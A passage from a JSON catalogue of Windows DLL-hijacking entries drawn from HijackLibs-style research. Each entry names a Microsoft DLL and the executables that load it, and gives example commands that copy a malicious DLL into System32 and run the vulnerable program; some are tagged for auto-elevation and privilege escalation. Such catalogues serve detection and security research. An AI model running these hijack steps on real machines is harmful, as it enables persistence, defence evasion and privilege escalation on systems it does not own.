        "url": "https://blog.eclecticiq.com/dark-pink-apt-group-strikes-government-entities-in-south-asian-countries"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msvcr100.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mswb7.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mswb7.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\control.exe\\\"\"\n\n# mswb7.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\explorer.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mswb7.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mswb7.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "mswb7.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mswb7",
    "name": "mswb7.dll",
    "namespace": "windows:dllhijack:mswb7",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mswb7.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mswsock.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mswsock.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\alg.exe\\\"\"\n\n# mswsock.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\alg.exe (Sideloading)\n- %SYSTEM32%\\curl.exe (Environment Variable)\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\finger.exe (Sideloading)\n- %SYSTEM32%\\fsquirt.exe (Sideloading)\n- %SYSTEM32%\\ftp.exe (Environment Variable)\n- %SYSTEM32%\\hostname.exe (Environment Variable)\n- %SYSTEM32%\\nbtstat.exe (Sideloading)\n- %SYSTEM32%\\nslookup.exe (Environment Variable)\n- %SYSTEM32%\\rpcping.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %APPDATA%\\Zoom\\bin\\zoom.exe (Environment Variable)\n- %PROGRAMFILES%\\WindowsApps\\MicrosoftTeams%VERSION%\\msteams.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\EdgeWebView\\Application\\%VERSION%\\msedgewebview2.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\scanpst.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\sdxhelper.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-mswsock.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mswsock.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "mswsock.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mswsock",
    "name": "mswsock.dll",
    "namespace": "windows:dllhijack:mswsock",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mswsock.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious msxml3.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\msxml3.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wordpad.exe\\\"\"\n\n# msxml3.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-msxml3.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "msxml3.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "msxml3.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-msxml3",
    "name": "msxml3.dll",
    "namespace": "windows:dllhijack:msxml3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/msxml3.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious mtxclu.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\mtxclu.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msdtc.exe\\\"\"\n\n# mtxclu.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-mtxclu.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "mtxclu.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "mtxclu.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-mtxclu",
    "name": "mtxclu.dll",
    "namespace": "windows:dllhijack:mtxclu",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/mtxclu.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious napinsp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\napinsp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ftp.exe\\\"\"\n\n# napinsp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ftp.exe (Environment Variable)\n- %SYSTEM32%\\hostname.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-napinsp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "napinsp.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "napinsp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-napinsp",
    "name": "napinsp.dll",
    "namespace": "windows:dllhijack:napinsp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/napinsp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ncrypt.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ncrypt.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# ncrypt.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\clipup.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\dnscmd.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\filehistory.exe (Environment Variable)\n- %SYSTEM32%\\sgrmbroker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-ncrypt.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ncrypt.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ncrypt.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ncrypt",
    "name": "ncrypt.dll",
    "namespace": "windows:dllhijack:ncrypt",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ncrypt.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ndfapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ndfapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msra.exe\\\"\"\n\n# ndfapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msra.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\dpiscaling.exe (Environment Variable)\n- %SYSTEM32%\\slui.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ndfapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ndfapi.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ndfapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ndfapi",
    "name": "ndfapi.dll",
    "namespace": "windows:dllhijack:ndfapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ndfapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious netapi32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netapi32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appvclient.exe\\\"\"\n\n# netapi32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appvclient.exe (Sideloading)\n- %SYSTEM32%\\bootcfg.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dfscmd.exe (Sideloading)\n- %SYSTEM32%\\dfsdiag.exe (Sideloading)\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\dfsutil.exe (Sideloading)\n- %SYSTEM32%\\dnscmd.exe (Sideloading)\n- %SYSTEM32%\\dsadd.exe (Sideloading)\n- %SYSTEM32%\\dsget.exe (Sideloading)\n- %SYSTEM32%\\dsquery.exe (Sideloading)\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\qappsrv.exe (Sideloading)\n- %SYSTEM32%\\spaceagent.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-netapi32.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "netapi32.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netapi32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-netapi32",
    "name": "netapi32.dll",
    "namespace": "windows:dllhijack:netapi32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netapi32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious nethost.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\dotnet\\\\packs\\\\Microsoft.NETCore.App.Host.win-x64\\\\%VERSION%\\\\runtimes\\\\win-x64\\\\native\\\\nethost.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Proton\\\\VPN\\\\ProtonVPN.exe\\\"\"\n\n# nethost.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\dotnet\\packs\\Microsoft.NETCore.App.Host.win-x64\\%VERSION%\\runtimes\\win-x64\\native\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Proton\\VPN\\ProtonVPN.exe (Sideloading)\n\n**Acknowledgement:** Josh Allman\n",
    "_source": "windows-dllhijack-nethost.md",
    "author": "Josh Allman",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nethost.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "nethost.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-nethost",
    "name": "nethost.dll",
    "namespace": "windows:dllhijack:nethost",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://ctrlaltintel.com/research/FudCrypt-analysis-1/"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting"
      },
      {
        "label": "Reference",
        "url": "https://protonvpn.com/support/install-windows-vpn"
      },
      {
        "label": "Reference",
        "url": "https://protonvpn.com/support/protonvpn-windows-vpn-application/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nethost.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious netid.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netid.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\systempropertiesadvanced.exe\\\"\"\n\n# netid.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-netid.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "netid.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netid.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-netid",
    "name": "netid.dll",
    "namespace": "windows:dllhijack:netid",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netid.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious netiohlp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netiohlp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# netiohlp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-netiohlp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "netiohlp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netiohlp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-netiohlp",
    "name": "netiohlp.dll",
    "namespace": "windows:dllhijack:netiohlp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netiohlp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious netjoin.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netjoin.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netdom.exe\\\"\"\n\n# netjoin.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netdom.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-netjoin.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "netjoin.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netjoin.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-netjoin",
    "name": "netjoin.dll",
    "namespace": "windows:dllhijack:netjoin",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netjoin.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious netplwiz.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netplwiz.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netplwiz.exe\\\"\"\n\n# netplwiz.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-netplwiz.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "netplwiz.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netplwiz.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-netplwiz",
    "name": "netplwiz.dll",
    "namespace": "windows:dllhijack:netplwiz",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netplwiz.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious netprofm.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netprofm.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\fxscover.exe\\\"\"\n\n# netprofm.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\fxscover.exe (Environment Variable)\n- %SYSTEM32%\\rdpclip.exe (Environment Variable)\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Mozilla Firefox\\firefox.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %PROGRAMFILES%\\WindowsApps\\MicrosoftTeams%VERSION%\\msteams.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\clview.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\cnfnot32.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excelcnv.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\graph.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msoia.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msosrec.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msqry32.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\namecontrolserver.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\protocolhandler.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\scanpst.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\sdxhelper.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\setlang.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-netprofm.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "netprofm.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "netprofm.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-netprofm",
    "name": "netprofm.dll",
    "namespace": "windows:dllhijack:netprofm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netprofm.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious netprovfw.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netprovfw.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\djoin.exe\\\"\"\n\n# netprovfw.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\djoin.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-netprovfw.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "netprovfw.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netprovfw.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-netprovfw",
    "name": "netprovfw.dll",
    "namespace": "windows:dllhijack:netprovfw",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netprovfw.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious netsetupapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netsetupapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rasphone.exe\\\"\"\n\n# netsetupapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-netsetupapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "netsetupapi.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "netsetupapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-netsetupapi",
    "name": "netsetupapi.dll",
    "namespace": "windows:dllhijack:netsetupapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netsetupapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious netshell.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netshell.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# netshell.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-netshell.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
